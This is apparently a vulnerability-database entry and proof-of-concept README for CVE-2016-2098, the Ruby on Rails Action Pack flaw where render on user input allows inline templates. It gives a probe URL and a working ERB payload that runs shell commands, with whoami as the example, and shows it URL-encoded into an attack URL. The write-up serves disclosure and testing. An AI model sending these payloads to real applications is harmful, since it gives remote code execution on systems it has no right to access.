关联漏洞
标题：
Ruby on Rails Action Pack 安全漏洞
(CVE-2016-2098)
描述：Ruby on Rails（Rails）是Rails核心团队开发维护的一套基于Ruby语言的开源Web应用框架，它是由大卫-海纳梅尔-韩森从美国37signals公司的项目管理工具Basecamp里分离出来的。Action Pack是其中的一个用于构建和测试MVC Web应用程序的组件。 Ruby on Rails的Action Pack中存在安全漏洞，该漏洞源于‘render’函数没有充分过滤用户提交的输入。远程攻击者可通过向应用程序发送特制的数据利用该漏洞执行任意Ruby代码。以下版本受到影响：Rub
描述
Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data.
介绍
# CVE-2016-2098
Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data.
# Explanation:
This issue comes from the usage of the render method on user-supplied data.
The method render is usually used to render a page from a template, but render method also allows developers to render plain text (plaintext) and even inline code (inline).
`render` function:
```ruby
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
```
# Exploitaion Example:
Target URL:
```
http://example.com/?view=test
```
Exploitaion:
```
http://example.com/?view[inline]=OK
```
If 'OK' showen in the source code then the web application is vulnerable to CVE-2016-2098.
# Remote Code Execution
```ruby
<%= %x('[CMD]') %>
```
We can replace CMD to our command that we want it to be excutued.
```ruby
<%= %x('whoami') %>
```
After URL encoding:
```html
%3C%25=%20%25x(whoami)%20%25%3E
```
Final:
```
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E
```
## Resources:
- https://guides.rubyonrails.org/layouts_and_rendering.html
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